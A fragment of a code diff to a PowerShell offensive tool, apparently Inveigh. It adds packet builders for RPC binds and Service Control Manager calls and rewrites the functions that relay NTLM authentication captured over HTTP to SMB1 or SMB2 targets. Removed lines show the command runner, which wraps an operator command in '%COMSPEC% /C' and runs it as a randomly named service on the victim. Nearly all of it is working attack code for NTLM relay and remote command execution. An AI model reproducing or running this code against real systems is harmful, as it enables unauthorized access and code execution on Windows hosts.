$packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind + } + + function Get-PacketRPCRequest() + { + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) + $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) + $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) + $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) + $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + } + + return $packet_RPCRequest + } + + #SCM + + function Get-PacketSCMOpenSCManagerW() + { + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW + } + + function Get-PacketSCMCreateServiceW() + { + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW + } + + function Get-PacketSCMStartServiceW() + { + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW + } + + function Get-PacketSCMDeleteServiceW() + { + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW + } + + function Get-PacketSCMCloseServiceHandle() + { + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW + } + +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge $SMB_NTLM_functions_scriptblock = { function SMBNTLMChallenge @@ -485,103 +1547,125 @@ $SMB_relay_challenge_scriptblock = { function SMBRelayChallenge { - param ($SMB_relay_socket,$HTTP_request_bytes) + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version) - if ($SMB_relay_socket) + if($SMB_relay_socket) { $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() } - $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 - $i = 0 + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' - :SMB_relay_challenge_loop while ($i -lt 2) + :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') { - switch ($i) + switch ($SMB_client_stage) { - 0 + 'NegotiateSMB' { - $SMB_relay_challenge_send = 0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d, - 0x20,0x30,0x2e,0x31,0x32,0x00 - } - - 1 - { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.Length) - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 34)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 45)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 104)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_netbios_length) - - $SMB_relay_challenge_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00, - 0x01,0x00,0x00,0x00,0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0x60 + - $SMB_length_1 + - 0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0 + - $SMB_length_2 + - 0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01, - 0x82,0x37,0x02,0x02,0x0a,0xa2 + - $SMB_length_3 + - 0x04 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - } - - } + $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send,0,$SMB_relay_challenge_send.Length) - $SMB_relay_challenge_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_challenge_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_challenge_stream.DataAvailable) - { - - if($SMB_relay_challenge_stopwatch.Elapsed -ge $SMB_relay_challenge_timeout) + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_challenge_loop + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' } + else + { + $SMB_client_stage = 'NegotiateSMB2' + } + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) + { + $inveigh.console_queue.Add("SMB relay disabled due to SMB signing requirement on $Target") + $SMB_relay_socket.Close() + $SMB_client_receive = $null + $inveigh.SMB_relay = $false + $SMB_client_stage = 'exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") + } + + } + + } + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' } } - - $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes,0,$SMB_relay_challenge_bytes.Length) - $i++ + } - - return $SMB_relay_challenge_bytes + + return $SMB_client_receive } } @@ -591,937 +1675,2181 @@ $SMB_relay_response_scriptblock = { function SMBRelayResponse { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) - $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + $SMB_client_receive = New-Object System.Byte[] 1024 - if ($SMB_relay_socket) + if($SMB_relay_socket) { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - $SMB_length_1 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 12)) - $SMB_length_1 = $SMB_length_1 -replace "-00-00","" - $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_2 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 8)) - $SMB_length_2 = $SMB_length_2 -replace "-00-00","" - $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_3 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 4)) - $SMB_length_3 = $SMB_length_3 -replace "-00-00","" - $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_NTLMSSP_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length)) - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 16)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 27)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 86)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_length_1) - [Array]::Reverse($SMB_length_2) - [Array]::Reverse($SMB_length_3) - [Array]::Reverse($SMB_NTLMSSP_length) - [Array]::Reverse($SMB_netbios_length) - $j = 0 - - :SMB_relay_response_loop while ($j -lt 1) + if($SMB_version -eq 'SMB1') { - $SMB_relay_response_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00, - 0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0xa1,0x82 + - $SMB_length_1 + - 0x30,0x82 + - $SMB_length_2 + - 0xa2,0x82 + - $SMB_length_3 + - 0x04,0x82 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - - $SMB_relay_response_stream.Write($SMB_relay_response_send,0,$SMB_relay_response_send.Length) - $SMB_relay_response_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_response_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_response_stopwatch = [Sustem.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_response_stream.DataAvailable) - { - - if($SMB_relay_response_stopwatch.Elapsed -ge $SMB_relay_response_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break :SMB_relay_response_loop - } - - } - - } - - $SMB_relay_response_stream.Read($SMB_relay_response_bytes,0,$SMB_relay_response_bytes.Length) - $inveigh.SMB_relay_active_step = 2 - $j++ - } - - return $SMB_relay_response_bytes - } - -} - -# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session -$SMB_relay_execute_scriptblock = -{ - function SMBRelayExecute - { - param ($SMB_relay_socket,$SMB_user_ID) - - if ($SMB_relay_socket) - { - $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_failed = $false - $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00' - [Byte[]] $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{$SMB_relay_command += "{0:X2}-00-" -f $_} - - if([Bool]($SMBRelayCommand.Length % 2)) - { - $SMB_relay_command += '00-00' + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { - $SMB_relay_command += '00-00-00-00' - } - - [Byte[]] $SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service_data_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 237) - $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] - $SMB_service_byte_count_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 174) - $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] - $SMB_relay_command_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length / 2) - $k = 0 + $SMB2_message_ID = 3 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } - :SMB_relay_execute_loop while ($k -lt 12) + $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_relay_response_stream.Flush() + 